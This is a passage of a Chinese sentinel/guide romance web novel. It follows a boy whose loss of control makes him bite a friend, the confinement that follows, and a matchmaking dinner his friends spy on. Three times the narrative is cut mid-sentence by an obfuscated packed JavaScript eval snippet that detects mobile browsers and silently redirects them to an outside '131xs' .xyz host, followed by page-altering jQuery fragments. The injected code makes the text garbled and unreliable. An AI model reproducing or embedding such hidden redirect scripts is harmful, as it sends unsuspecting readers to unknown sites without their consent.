余光扫到躺在地上一动不动仿佛僵硬的尸体似的人,奚元心凉了半截。 深吸一口气后,在心里安慰自己万一人还有气呢。做好心里建设之后他伸出手开始掰黎珞言仍掐着人脖子的手。 奚元动作十分强硬,完全没有留手的意思,手背、手臂上青筋凸起,黎珞言手上被他抓红了好几块,泛起吓人的淤青,手指也因为一直被往后掰疼得有些脱力。 然而黎珞言本人却像感觉不到疼痛一样,怎么也不松手。 黑发绿眸的男孩一边毫不留情地掐着人,一边抬起眼盯住打扰他的人看,恍惚意识到是熟悉的面孔之后,手上稍微卸了一点力。 仅是一时间的松懈就被奚元找到了时机,他抓着他的手硬生生让他松开了地上那人的脖子。 那人骤然间得到空气,猛的呼吸起来,脖颈间是吓人的一道道深红指印,隐隐泛着青紫的瘆人颜色。 奚元双手死死抓住黎珞言的,不敢半分懈怠。见地上那人还活着,他这时候总算松了口气敢呼吸了。 方才紧张刺激的场景过后,他的心跳似乎是才反应过来,跳得飞快。 奚元看着突然冒出兽耳兽尾的黎珞言,这样的异化特征他只在深入污染区、精神图景被污染得十分糟糕的哨兵身上看见过。 他心沉着,从没有过这么轻声细语地问:“梨子,告诉我怎么了好吗?” 黎珞言有点委屈地瘪了下嘴,奚元被他看得心头一软,刚想出声安慰他,就感觉到手臂上陡然一疼。 疼得他张开口还没来得及说话,溢出喉腔的就是一句痛呼。 “嘶……我艹!”奚元上牙死死咬住嘴巴才勉强把痛呼压了回去。 他低着头,只能看见黎珞言毛绒绒的黑色发顶。 啊?不是!黎珞言咬他做什么啊?! 奚元从没有一刻像此刻这么清晰地认识到,黎珞言的牙齿挺尖的,咬人也很疼。咬合力极强,简直像是奔着要咬下他一块肉的目的来的。 他疼得简直想骂人了,想着要不一不做二不休直接咬回去好了,大不了两个人互相咬,谁也不欠谁的。 但下一秒滴落在手臂上的温热泪水让他咬回去的想法动摇了。 像雨点一样轻轻地慢慢地打在他的手臂上,很柔软,很脆弱。 奚元挣扎的力气泄了,眼睛一闭,心一横,大方又绝望地想,大不了就让梨子咬一块肉下来算了。 堂堂哨兵好男儿,区区疼痛…… 嘶!……没事的,区区疼痛!区区一块肉! 奚元极力忽略手臂上阵阵的疼痛,死死咬住嘴唇忍痛,唇色苍白。那种疼痛似乎是生生将他小臂上的肉剜下来一块,但事实也接近如此。 “喂。可以睁眼了。” 很沉稳冷静的一道女声。 奚元猛的睁开眼,先是看了一眼黎珞言。 他眼睛紧闭着,耳朵和尾巴还在,但是看上去小了一圈,可怜巴巴地缩着。应该是昏迷过去了。 尹惟蹲下身扶住了他的身体,让他的脑袋稳稳靠在自己的手臂上。 奚元这才又看了眼自己的小臂,很深的一圈牙印,青青紫紫,血滋滋往外冒,伤口看着非常吓人。 他感觉自己的这只手臂已经疼到麻木了,和掉了块肉没什么差别。 “被你咬了不会得狂犬病吧!”奚元疼得不行,咬着牙对着昏迷了的黎珞言一字一句说。 黎珞言听都听不见他的话,当然回答不了他。 尹惟低着头,用衣袖很轻地把黎珞言眼尾残留的那点湿润水渍擦干净了。 她赶来的时候看见的场景十分混乱,一个躺在地上疯狂呼吸的人,一个闭着眼视死如归的“壮士”,还有一个长出狮子耳朵尾巴、疑似失控了在咬人的梨子。 她当机立断伸手往黎珞言后颈上砍了一手刀,旋即把往后倒下的黎珞言一把扶住。 现在这幅场景…… 尹惟犹豫着,垂下眸,半晌才开口:“要把人送到医院吗?” 她停顿一下继续说:“我家也有医疗舱,要不然,你们三个都来我家里……” 奚元疼得龇牙咧嘴,他听见了她的话,第一反应是:“这还用想吗?当然是去医院检查一遍。” 他叨叨着,疼痛让他说话都没什么力气,“梨子咬我咬的这么狠,我真的要怀疑他是不是有狂犬病了,我要去检查……嘶,检查一下有没有狂犬病!等等——他这种情况,应该是……狂狮病?” 尹惟面色平静,垂着眸,出声时声音依旧冷静得不像话:“但他会被关禁闭的。” 奚元:“?哇塞。” 奚元手臂疼得出奇,他用另一只手抓了抓头发,简直不敢相信自己听见了什么。他的手还在流血欸,肉都差点被咬下来了,哈喽哈喽,尹惟是看不见吗? 但他稍微缓了口气后,抬起头和尹惟对视上,冷静了几秒。 顺着她的话往后想了一下,不禁皱起了眉,也意识到了这个问题。私下里把伙伴伤成这样,无论是什么原因,黎珞言都一定会被关禁闭。 因伤口发疼,他深呼吸着,调整说话的声音大小,提醒道:“但不止我们看见了。好几个人已经跑了,他们也会出去乱说的。” 他突然意识到尹惟其实并没有她表现得那么冷静,这么简单的事情她平时是绝对不会忽略掉的。 尹惟垂着眸,理智回笼,“嗯”了一声。 “况且,梨子也应该去医院做一个全面检查。他的精神图景,是不是出现了问题……” 奚元想起黎珞言失控时的表现,眉头紧拧。 …… 十岁那年,黎珞言被关在了家里。 对于上述事件给出的解释是,感知力过高,导致无法完全掌控情绪。情绪激动时会陷入不可控状态,由于某种不可透露的原因,当他处于此种失控状态时有百分之七十的倾向会表现出极轻微的异化特征。 最后决定为,关禁闭一年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504797|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其间不允许任何外出行为,一年后非必要情况(如上课)不可外出,十四岁以后可解除禁制。 * 奚元忽然想起来,他第一次见到黎珞言戴上那颗耳钉就是在他十一岁那年。 那天他被黎珞言咬伤之后去医疗舱躺了半天,看着小臂上只剩下一个浅淡得几乎看不见的牙印,咬得牙酸。那时他听说了黎珞言被关禁闭的事。 第二天没告诉任何人,他一个人偷偷跑去了黎珞言房间的楼下,拿东西砸窗户引起了黎珞言的注意,然后在楼下朝他挥手。 隔了几层楼,他无法清晰看见黎珞言的眼神,但他能看见黎珞言把窗户打开之后,没犹豫就探出个头,下一秒就做出要往下面跳的动作。 奚元被吓得整个人都慌了,一瞬间眼睛都瞪大了,大声喊:“别跳啊!” 还好下一秒黎珞言就一个后仰摔进房间里面了。 奚元提着的心才掉下去,还没完全掉下去就又提了起来,窗户口探出执政官的脸,表情又冷又凶,活像是他的债主。 奚元一瞬间就不敢说话了。 第二天再去的时候,窗户就被窗帘挡住了,奚元看不见里面的场景。 他不是个轻言放弃的人,没多犹豫,把袖子撸起来就往上面爬。好不容易爬到黎珞言的房间窗户旁边,他先是用一只手死死扒住窗沿,确保自己站稳了,便伸出一只手去推窗户的那道玻璃,然而没有任何反应。 艹,封死了! 奚元暗骂了一声,想了想,又故技重施,开始敲窗。 里面的人似乎是听见了,传来一点不太明显的响动。然后窗帘从里面被使劲扯了下,没扯动。 奚元意识到窗帘也被固定死了,没忍住又想骂了。 但下一秒窗帘边缘被扯开一个小口,黎珞言歪着头艰难蹭了进来。 他探着头左顾右看,好奇地寻找着声音的源头,最终在边边角角看见一个弯着腰站立着的活人。 这一幕其实有点像是在拍危险系数极高的动作大片。高高的墙壁上挂着一个十岁的小孩,任何看见的人都会被猛地吓一跳。 但奚元的的确确站得很稳。他看见黎珞言眼睛骤然间亮起来的那一刻,也不由自主跟着笑起来,手握成拳轻轻摩挲了下,然后背过手藏起来了爬墙时手心不小心蹭出来的细小伤口。 ……来得还挺值的。 他一头红发十分惹眼,很亮的颜色。 此时此刻,黎珞言望着他,瞳孔里只装下了他一个人,碧绿的眸子倒映着火一样的艳色。 黎珞言朝着他笑起来,脸上还带着婴儿肥,笑起来显得很幼。但很快他似乎想起了什么,脸上的笑容消失了,嘴角下撇,眼睛直勾勾望着人,嘴唇动了动,声音有点小。 隔着层玻璃奚元不太能听清楚。 奚元拿出终端朝他挥了挥,示意让他用终端发给他。 黎珞言乖巧地点点头,跑回去拿了终端,然后又艰难地把脑袋从窗帘被封死的间隙中挤进来,这次还挤进来了一只手。 奚元看着他垂着眸说了好长一段话,等他说完后,自己的终端响了一声,他打开,播放黎珞言发给他的语音。 【对不起……当时咬了你,肯定很疼……等一年之后我能出来了,换你咬回来吧,我一定站着不动让你报仇。】 说话的声音特别正经严肃,还夹杂着点十分明显的愧疚难过。 奚元轻笑了声,调整了下站立的姿势,稍微让自己舒服了一点。眼睛看着黎珞言,却是在对着终端说话:“哟,这么大方。你不嫌疼?” 黎珞言抿了抿唇,认真地说:【怕疼。但是我咬了你,应该向你道歉。如果咬回我不能让你消气的话,你也可以提出其他的要求,我一定一定答应你。】 他连说两个“一定”,语气特别认真。 奚元听完就笑了:“我生着气会爬上来找你?还是说我看上去是那种以德报怨的人?……真没生气,非要提起那天的事的话,我还真有想说的。” 黎珞言竖起耳朵,等着奚元给他发下一条消息。 点开后,他听见他说:“我突然觉得,狮子耳朵还挺好看的。等你出来之后,我们一起去动物园看看狮子吧。” 黎珞言眨眨眼睛,目光从终端上移开,转而看向奚元,然后慢吞吞地弯起眸,眼尾弯弯:【好。】 …… 在那段爬墙去找黎珞言的时间里,奚元敢保证他从来没有见过那枚耳钉。 所以,他第一次见到那枚耳钉毫无疑问是在黎珞言可以离开房子外出上课了的那时候,也就是他十一岁那年。 想到这里,奚元闭了闭眼,眉心紧皱。深夜里,月光透过窗户洒了点光进来,将哨兵紧皱的眉宇照亮,烦躁的情绪在光照下几乎具象化了。 他早该想到的,那枚耳钉有问题! 奚元在床上坐着,他侧过头看向对床熟睡的黎珞言,沉默片刻后转回头,打开了终端。 他眉眼沉沉看着他的和尹惟的聊天框,屏幕的白光照亮了一部分脸。 悬空的手指始终没有落下,最后他什么信息也没有发过去,关于那枚耳钉的疑问被咽回了心底。他闭上眼睛,摁灭了屏幕。 11.第 11 章 周末一大早,黎珞言起了床。 这个周末只有他一个人在宿舍,奚元回家里了。黎珞言被闹钟吵醒,闭着眼睛坐起身,在床上摸来摸去,摸到昨晚睡前准备好的衣服后一把扯过来。 然后可能是又累了,他趴在衣服上闭上眼睛轻寐了一小会儿,定的第二个闹钟响起后他猛地睁开眼睛,游离几秒后爬了起来。 换好衣服后,黎珞言看了眼时间,才堪堪十二点,离约好的一点还差一个小时。他不想叠被子,把被子往角落推了推,一切准备就绪后就出门了。 黎珞言之前是考过飞行器的驾驶证的,但一直以来都没有驾驶过,没什么经验。 他看了眼他和匹配对象约定好的餐厅,规划了下路线,认真思考,最后决定还是开飞行器过去好了。 这样估计还能早一点到,给匹配对象留下一个好印象。黎珞言愉快地做出决定。 * 餐厅里有些吵闹,说话声交谈声此起彼伏,有种很亲切的烟火气,但餐厅环境又很舒服亮堂,厅内陈设一看就是花了大价钱建成的。 服务生注意到只有一个人的那一桌,已经快半小时了,依然没有第二个人到场。他走上前去微笑问道:“客人您好,请问您的朋友还没到吗?” 他手里拿着菜单,意思很明显是在无声地提醒对方点菜。 易谌垂眸点开终端,一点二十二分。 他给黎珞言发去一条消息后熄了屏,淡声说:“应该快到了,我先点菜吧。” 易谌接过菜单后看着上面的价钱沉默片刻,神情淡定地点了一份最便宜的凉拌豆芽,完全没有表现出任何窘迫尴尬,勾选之后淡然地将其重新递给服务员。 嗓音无波无澜:“剩下的等另一个来了之后再点可以吗?” 服务生看着上面唯一打勾了的一个菜,眼角抽了抽,保持礼貌道:“……可以的,客人。” 餐桌上立了个玻璃小瓶子,里面插了枝花,易谌不认得花的品种,但以他的审美来看,还挺好看的。 他盯着看了几秒后移开了视线,餐厅门口刚好新进来了一个人,他发现来的不是黎珞言之后就不再看向那边了。 ——迟到了接近半个小时。 易谌非常讨厌不守时的人。这不是他第一次遇见不守时的人,换做平常的话,他到点就会毫不犹豫地直接离开。 但这一次,他却稳稳坐在位置上,从背包里拿出一本书、一支笔,安静地开始对课上知识进行巩固复习了。 这家餐厅占座需要付一笔定金,他先到的餐厅,所以这笔定金是由他付的。 如果现在走了,定金也不会退。那他就完完全全白跑这一趟了。 算了,再等等。 过了会儿,凉拌豆芽也端上来了,服务生留下一句“请慢用”,就离开了。 这家餐厅里最便宜的凉拌豆芽也要三十星币。小小一盘被端上来放在桌上,看起来色香味俱全,倒是比其他餐厅的要更吸引人一些。 但也只是一盘豆芽而已,更何况也就矿泉水瓶底那么大的盘子,看上去像是其他餐厅里会送的小料配菜,挑几筷子就吃完了。 易谌拧了下眉,没吃,继续在看书。 不知道过了多久,突然不远处响起一声:“你好你好……” 听见有几分熟悉的声音,易谌抬起头,目光穿过人群,正好刚进餐厅的说话那人也同时侧过头来,一时间视线相撞。 有着一双灵动的绿色眼睛的小动物睁大了眼睛看了他几秒,易谌被看得眼睫一颤,眼皮轻盖住眸子,不太自然地撇开了视线。 黎珞言又转回头,看向柜台的人说道:“我有预定了,034号桌。” 这是匹配对象给他发的桌号。 一位服务生领着他朝034号桌走去,黎珞言越来越向易谌走近,他明显有些惊讶,直到坐在易谌对面的椅子上后,他仍然保持着微微睁大眼睛的神情,有点没想到匹配对象居然就是之前遇见的向导。 专注望着人的眼睛很亮,身上灰扑扑的,有点狼狈,又有点惨兮兮的错觉。 易谌又抬起眸看他。 黎珞言今天穿的其实很简单,显出一种简约的好看。上身穿了件纯白色短袖,再配上一条浅蓝牛仔长裤,腰间勒着条深咖色皮带,又挂了条闪亮亮的银色链子做装饰,走路时不经意碰撞,发出很轻巧的叮铃响声。 但仔细看过去才会发现他整个人像是被扑了层薄薄的灰,衣服和裤子都像是经历过了剧烈摩擦,留下了擦破的痕迹。跟一只垂头丧气的小狮子似的,蓬松的毛发都蔫巴了。 易谌垂下眸,说:“你迟到了四十三分钟。” “对不起!” 两人的声音同时响起,又近乎同时敛声。易谌顿了下,看向黎珞言。 安静的氛围下,黎珞言抿着唇,再次重复:“对不起。” 他抬眼看了易谌一下,意识到易谌一直在看着他之后,就跟小动物鬼鬼祟祟偷看之后被发现了似的,迅速又低眸。慢吞吞地承认错误:“我本来计划好能够提前到的,但是……路上出了点意外。” 易谌颔首,耐心等着他说是发生了什么意外。 黎珞言余光瞟到了桌上的一小盘豆芽,喉结禁不住滚动了一下。他从早上到现在一点东西都没吃,说实话,他现在有一点点饿了。 他抿了下唇,还是忍不住了,两只眼睛直勾勾地望向易谌,真诚问道:“我可以先吃一点吗?” 这种仿佛相亲的一次见面中,对于完全不算熟悉的两人来说,其实是有种略微的尴尬萦绕在饭桌上的。但是有了好吃鬼的加入就不一样了。 本来一说一答的氛围被这句话打断,很突兀的一句话,但因为黎珞言的表情实在太诚恳了,易谌真的不知道该回什么。 他按了按额角,点了头。 黎珞言看着那小盘豆芽,斟酌着挑了一小筷子,然后大方招呼道:“你也吃啊。” 易谌耐不住他的诚挚邀请,夹了一筷子吃进嘴里。说实话,除了看着好看之外,味道就和普通豆芽差不多,至少易谌没吃出什么差别。 但他看着对面的黎珞言吃得眼睛弯弯的模样,莫名又觉得嘴里的豆芽香了起来。 吃饭也能吃得这么幸福吗? 他并不是个重食欲的人,却不禁也被挑起了一点点对食物的欲望。 两筷子过后,这盘菜几乎就没有了。 黎珞言还是很饿,他舔了舔嘴巴,在和易谌说了一声过后,叫来服务生,在菜单上大点特点,点完之后把菜单递给易谌,弯眼道:“你看看有没有要加的。” 易谌看着上面满满当当的勾,停顿片刻,真心问道:“你能吃完吗?” 黎珞言眨着眼睛,十分认真点点头,一板一眼回道:“可以的,因为我在长身体。” 易谌认真扫了他几眼,从上到下,黎珞言就大大方方地任他看。最后易谌收回视线,把菜单递还给了服务生。 ……可能是吧。吃这么多,看着还挺瘦的。没有横着长只能说明是在竖着长了。 年轻的黑发哨兵仅穿着件短袖,手臂稍微用力的时候就会绷紧,显出青涩流畅的肌肉线条,身高腿长,比例优越。 易谌倒是相信他那句长身体的话了。 等热菜上来之前,黎珞言重新想起了正事,恢复到一本正经的神色,专注看着易谌,继续解释道:“我是开飞行器来的,拿了驾照之后我从来没开过,所以我一路上驾驶得真的、特别小心,而且严格按照导航要求的路线行驶。本来是没有任何问题的。” 他说话很慢,就像给小孩讲故事哄睡觉的那种语气,惹得易谌都忍不住接了一句:“然后呢?” “然后,”黎珞言加重了语气,眉头微微皱起,手肘撑在桌上俯身凑近了一点,特别严肃地说,“我正时刻注意四周的动静的时候,旁边有辆飞行器‘嗖’的一下就撞过来了,我技术不好没躲开,就撞上了。” 他缓慢地舒出口气,总结道,“我估计他也是个新手,而且技术比我还差。” “哦,‘嗖’的一下就撞过来了,”被他格外生动的拟声词吸引住了,易谌忍不住弯了下嘴角,过了几秒才从他轻飘飘的话语重突然反应过来整件事情,嘴角又压平了,有些不可思议地问,“你出车祸了啊。” 黎珞言扯扯自己的衣服,皱了皱鼻子点头,然后把衣服撩起来给他看短袖下摆擦出来的一点擦破的痕迹。 “哦,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515963|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没受伤,我虽然不太熟悉飞行器的操作装置,但好在我反应比较快,飞行器没躲开但我及时跳下去了。就是摔到地上的时候衣服裤子擦破了点,不碍事的。” 临时从飞行器上跳下去这种听起来就危险系数极高的事情,被他说得就像走个路一样轻松,一点也没觉得是个很大的事。 他上身就穿了一件短袖,撩起来之后腹部肌肉都露了出来,但他本人全然没意识到这点。 易谌的视线在他擦破的衣服下摆扫了一眼,又不经意间往下瞥了眼,眉梢轻轻挑起。 其实有一小部分皮肤有点泛红,估计也稍微擦伤了。……嗯,很漂亮的肌肉线条。 他还没多看几眼,对方就松了手,宽松的下衣摆重新落了下去,盖住了身体。 这样跳下去,应该是在地上滚过几圈才会把衣服弄得灰扑扑一层,虽然对方显然是以及尽全力试图把灰尘扑掉了。 况且,按照一些常识来说,膝盖应该会受伤。 易谌想看看他的腿有没有事,但他们是面对面坐着的,以他的角度完全看不见黎珞言的腿。但他又不能直接问“看看你的腿”,毕竟这勉强也只能称得上是第二次见面,莫名这样问难免会让人觉得他很奇怪。 黎珞言不知道他在想什么,自己嘀嘀咕咕说了一堆之后,又突然想起来惊讶一下:“原来你就是我的匹配对象啊。” 易谌轻轻“嗯”了一声,还在想黎珞言从飞行器上跳下来真的没事吗?难道哨兵的身体真是铁打的? 热菜端上来了,还有两杯果汁。 黎珞言捧着果汁咬住吸管,喝了好几口后,他见易谌还在盯着他看,不知道在想什么,以为他是在犹豫要不要喝。 于是极其主动地拿起另外一杯,将吸管凑到了易谌嘴边。 易谌还在思考哨兵的身体是不是铁打的这个问题,嘴唇边突然碰着了一个软管 他眼睫猛地一颤,回了神,眼眸一转就对上一双弯着的、专注看着他的漂亮绿眸。 小动物似的黑发哨兵还在努力给他推荐:“你试试,很好喝的。这家的果汁非常好喝。” 易谌鬼使神差地张开嘴,咬住了吸管的一点,吸进去了一口。 红橙渐变的果汁,上面插着两片摆好造型的柠檬片,冰块漂浮在水面,经过喉咙时凉爽沁甜。 面前的哨兵满怀期待地望着他,两只眼睛都毫不掩饰地写着“怎么样怎么样?”如果身后有尾巴的话,一定会摇得很快。 易谌喉结滚动了一下,接过杯子又喝了几口,才止住了忽然而来的那股渴意,语调平淡:“嗯,还不错。” 黎珞言见他爱不释手地喝了好几口,也心满意足了,一边认真吃饭,一边喝果汁。 他吃饭的时候十分认真,一般情况下,不会边吃边说话。 易谌也慢悠悠地吃饭。 黎珞言正给自己剥虾吃,他吃下一个之后,顺手又往易谌盘里放了一个,见易谌看他,他就朝着对方弯了下眸。 从这一次见面一开始,易谌就感觉黎珞言和他们第一次见面时不太一样,他有点太热情了,而且说了很多话。 但其实第一次在污染区营地的那次见面时,他觉得对方其实并不是个爱说话的人,反而很喜欢发呆,胡思乱想、发散性地想很多东西。 现在又是给他喂果汁,又是剥虾…… 易谌把虾重新夹回了黎珞言的盘子里,看着黎珞言一瞬间似乎有些愣住的神情,他戴上手套开始剥虾:“你不用管我的。你是因为迟到了所以想要弥补吗?” 黎珞言抿了抿唇,从喉咙里憋出一个闷闷的“嗯”字,又蔫巴起来了,小声道:“对不起。” “张嘴。” 黎珞言听见后下意识张开了嘴,嘴里被塞进一个虾仁,他咬着虾,有点茫然地眨了眨眼。 易谌垂下眸,喂他虾仁时注意着没有碰到他的嘴。收回手之前,他感觉到不远处有一道格外灼热的视线,循着看过去时那道视线却又消失了。 他看着那道视线的方向,是一个戴着鸭舌帽的人,那桌上也是两个人,他确定他不认识。 易谌脱下一次性手套放在了旁边,说道:“那边有人在看你,是你的朋友吗?” 12.第 12 章 “梨子怎么在喂他喝果汁?他们才第一次见面吧,我觉得这样不太好。” “梨子在剥虾了,如果我在场,我肯定会主动给他剥的……我知道他喜欢吃虾。” “啊??梨子剥的虾居然放在他盘里了?!什么意思什么意思?我真的忍不了了!” 奚元把牙咬得咯吱响,把帽檐往下面使劲一压,转回身来不再往那边看。 尹惟嘴里咬着根勺子,一直在专注着自己的事,面前摆着台电脑在打字,眉头拧得极深。她看着电脑显示的聊天框,对面发给她的一句冷冰冰的话:【你的实习申请我是不会通过的。】 她咬着勺子,手里握着勺子柄,整个人气得要把勺子掰断了。她把勺子随手扔在了杯子里,脸上表情特别糟,这时候像是只要扔一个火药桶过去她就能瞬间爆炸。 奚元的表情也特别难看,拿筷子戳肉的表情像是想要杀了肉。 他舌尖抵住牙,试图转移自己的注意力:“你申请怎么样了?” “没过。”尹惟咬牙切齿地说,憋出一个可怕的笑,“他说他不接受一年级新生进议会实习,但如果我哥亲自去跟他说的话,他倒可以酌情考虑。” “呵,我需要他酌情考虑?不接收一年级新生他不早和我说,让我写了一万字申请之后又开始说这些车轱辘话,不就是比我多活了几十年吗?说真的,我真看不上他们这群人!他们议会一群老东西开始和军团打交道,拉帮结派站队之后,完全就烂掉了。” “看不上你还非得去他们那儿?”奚元挑了下眉,往后仰倒在椅子靠背上,有点兴致缺缺。 “就是看不上他们我才去!我去扫黑除恶,让他们统统滚蛋。” 尹惟喝了口水平复心情,她的视线落在了黎珞言那桌上,表情突然显出几分微妙:“哦——” 奚元被她莫名其妙的一声引发好奇,也跟着扭头看过去,一瞬间瞪大了眼睛。 不远处的那桌上,黑发哨兵嘴里咬着虾仁,对面的人靠近了喂他,两人对视着,这是一个十分亲昵的动作,看起来像是情侣约会。 在易谌看过来前,尹惟迅速扯了把眼睛瞪了的直的奚元,让他坐正了,避免被发现。 黎珞言在和匹配对象约定见面地点前问过奚元有没有推荐的饭馆,这件事情尹惟是知道的。 但她明确知道黎珞言当时问的是有没有平价好吃的饭馆,没想到奚元居然说了这家。 这家在他们常去的餐厅里确实算是比较便宜的,但绝对算不上平价。 今天一早奚元硬拉着她来偷窥、还美其名曰是暗中观察的时候,她是真没想到来的是这里,她还以为会是路边的小餐馆什么的。 两个人都戴了顶帽子,把显眼的发色给遮住了,坐姿轻松,表现得极为正常,除了奚元随时转过头去往那边瞥上几眼显得鬼鬼祟祟之外,就没有任何异常了,一点也不像来偷窥的人。 尹惟喝了口水,然后说:“梨子本来考虑得挺周全的,想找一个平价点的地方。你倒好,一点没为他排忧解难。” “哦,你是说那个人连饭钱都付不起啊。”奚元锐利眉眼阴沉,被帽子压住的红发削减了几分肆意张扬,哂笑一声,“他一个下城区上来的人,也该有一点自知之明吧,总不可能一直让梨子陪他吃糠咽菜吧……难道这样他就满意了?” 一想到两个人在一起之后的场景,奚元的脸色越来越糟。 尹惟见他已经完全沉浸在自己的想象中了,抬了抬帽檐开始吃饭。在吃饭的空隙中不忘回他一句:“行了,你话里的酸味都快溢出来了。菜都凉了,快吃吧,光听着你在那里说些有的没的了。” “也不知道你非得拉着我悄悄跟过来干嘛。你又不是不知道,梨子因为之前那件事,特别讨厌别人跟踪他。还是说你被嫉妒心冲昏头脑了?……麻烦你不要一上头就犯蠢好吗?” 尹惟说完就又继续夹菜吃。 “你不要用‘跟踪’这个词好不好,我没有跟着梨子,而是一直在这里等着好不好,”奚元气得快站起来了,“而且我一上头就犯蠢?!那你当初因为梨子被关禁闭那个事,把那个人拖到巷子里狠狠揍了一顿,不还得亏我给你打了掩护。到底是你容易上头还是我?” 尹惟啧了一下,也不耐烦了:“那你怎么不想想,揍一顿能解决问题吗?那我后面找我爸妈写了申请交上去才让那人正儿八经受了罚好不好!” 奚元和她掰扯:“那我给你打掩护,还被我爸抓回去臭骂了一顿。难道我就一点付出没有吗?” 尹惟扬了下眉,一字一句回道:“你被痛骂一顿还不是因为你准备不够……” “你们,是在吵架吗?”再熟悉不过的声音。 两人突然都噤声了,一同扭头看向黎珞言,不知道刚刚压低声音吵架的内容有没有被听见。 一时间气氛莫名尴尬起来。 黎珞言看看尹惟,又看看奚元,有点不明白他们两人为什么会出现在这里。 尹惟不着痕迹地观察黎珞言的表情,见他脸上只有对他们出现在这里的困惑,应该是没听见他们的对话,不禁松了口气。 她反应极快,率先出声,做出一副很惊讶的模样,又往黎珞言后面看了眼,似乎是才注意那一桌坐着的易谌,笑道:“原来我们坐的这么近啊。早知道我就过来和你们打个招呼了。” 黎珞言听进去了:“现在也可以打个招呼。” 尹惟不太想去,但看着他的眼睛一时又说不出拒绝的话,于是支支吾吾起来:“现在啊……” “你衣服怎么了?”奚元突然说。 黎珞言低下头看了看自己短袖、裤子和地面摩擦之后擦破的地方,“唔”了一声,语气轻松地说:“就是摔了一下,没什么问题的。” “怎么摔的?平地摔会摔这么严重吗?” 奚元眉头紧皱,摆弄了下黎珞言的手,又用手背轻轻碰了碰他膝盖磕破的那点牛仔裤布料,这样看着身上没受伤,但他还是不太放心地说,“要不去医院看看吧,或者去医疗舱躺躺也行。” “啊?”黎珞言微微睁大眼睛之后,又忍不住弯起眸子,“至于吗?” 脸上还漾着未尽的笑,他回头看了一眼,见易谌低着头、手里拿着一个本子看起来很是认真,大概是在复习,毕竟白塔的课业是真的很重,他以前就听温暻哥说起过。 黎珞言转回头,头微低着,没有和他们对视,有些不自然地轻轻摸着后颈,耳朵有点泛红:“你们要不要和……他,打个招呼?” 他抿了抿唇,接着说:“就是,我的匹配对象。再过段时间,可能就是未婚夫了。” “未婚夫?这么快?”他话音刚落,奚元就立马连说两个问句。 黎珞言不知道他反应为什么这么大,犹豫地点了点头。 尹惟说:“你们才见……” 奚元语气很急:“你们才见第一面就要订婚了吗?不再相处一段时间试试吗?我跟你说,这种才见第一面就要和你订婚的人非常不可信!” 尹惟闭了闭眼,按着额角,这都是、这都是她要说的词啊! “但是,是我要和他订婚啊……原来第一次见面我就这么说会给人留下不好的印象啊,”黎珞言虚心请教,认真询问,“那我需不需要提前说点什么铺垫一下?我现在还没和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525918|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说这件事。” 他刚刚光顾着吃饭了,完全忘了提订婚的事了。 奚元随手把帽子摘了,抓了抓头发,额角浸出了点汗,闷声道:“反正我不同意。” 黎珞言见从奚元这里获得不了建设性意见了,转而看向尹惟。 尹惟思考之后,回道:“你可以先问问他白塔的生活怎么样,平时忙不忙累不累,再问问他有没有喜欢的人拉下家常,感觉差不多了就可以试探性地问问能不能订婚了。” 她每说一句,黎珞言就认真地点一下头,俨然是一副要一字不差记住的模样。 说完之后,尹惟忍不住加上一句:“你真的决定和他订婚吗?我也觉得第一次见面就做出决定太草率了。如果他答应了,我真的会觉得他另有所图。” 黎珞言垂下眸:“可我也是因为我和他的匹配度才提出订婚的,也算是有所图吧,所以就算他也另有想法的话,我觉得那很正常。” “那好吧,”尹惟笑了笑,站起了身,顺便把奚元也拽起来了,“我们刚好吃饱了,看来只能下次有机会再和他打招呼啦。拜了。” 黎珞言反应慢半拍地点点头,旋即弯起眸,和他们挥了挥手。回桌之前,他顺手拿了他们桌上两个草莓。 回去之后,他把一个草莓递给了易谌,自己咬住一个。 易谌放下了笔记本,看着对面从回来之后就低着头不知道在想什么的人。 黑发哨兵小口小口咬着草莓,眉间微蹙着,像是在发呆,片刻后,似乎是下定了什么决心,瞬间就抬起头来了,问他:“你觉得白塔的生活怎么样?” 易谌:“……还行吧。” 黎珞言忍不住伸出了一小点舌尖,润了润唇,一本正经接着问:“那你平时忙不忙累不累?” 易谌:“……都还好吧。” 到底要做什么啊? 黎珞言眨了眨眼睛:“你有没有喜欢的人啊?” 易谌愣了愣,然后忍不住弯了下嘴角,连他自己都没意识到地露出了一个笑。原本冷淡沉郁的气质被这个笑骤然冲淡了,反而罕见地显出几分柔和。 他好整以暇问道:“你希望我有吗?” 黎珞言支起一只手,下巴搭在手背上,一双眼睛直勾勾望着他,理所当然地说:“我当然希望你没有了。” 易谌也看着他:“唔,为什么呢?” 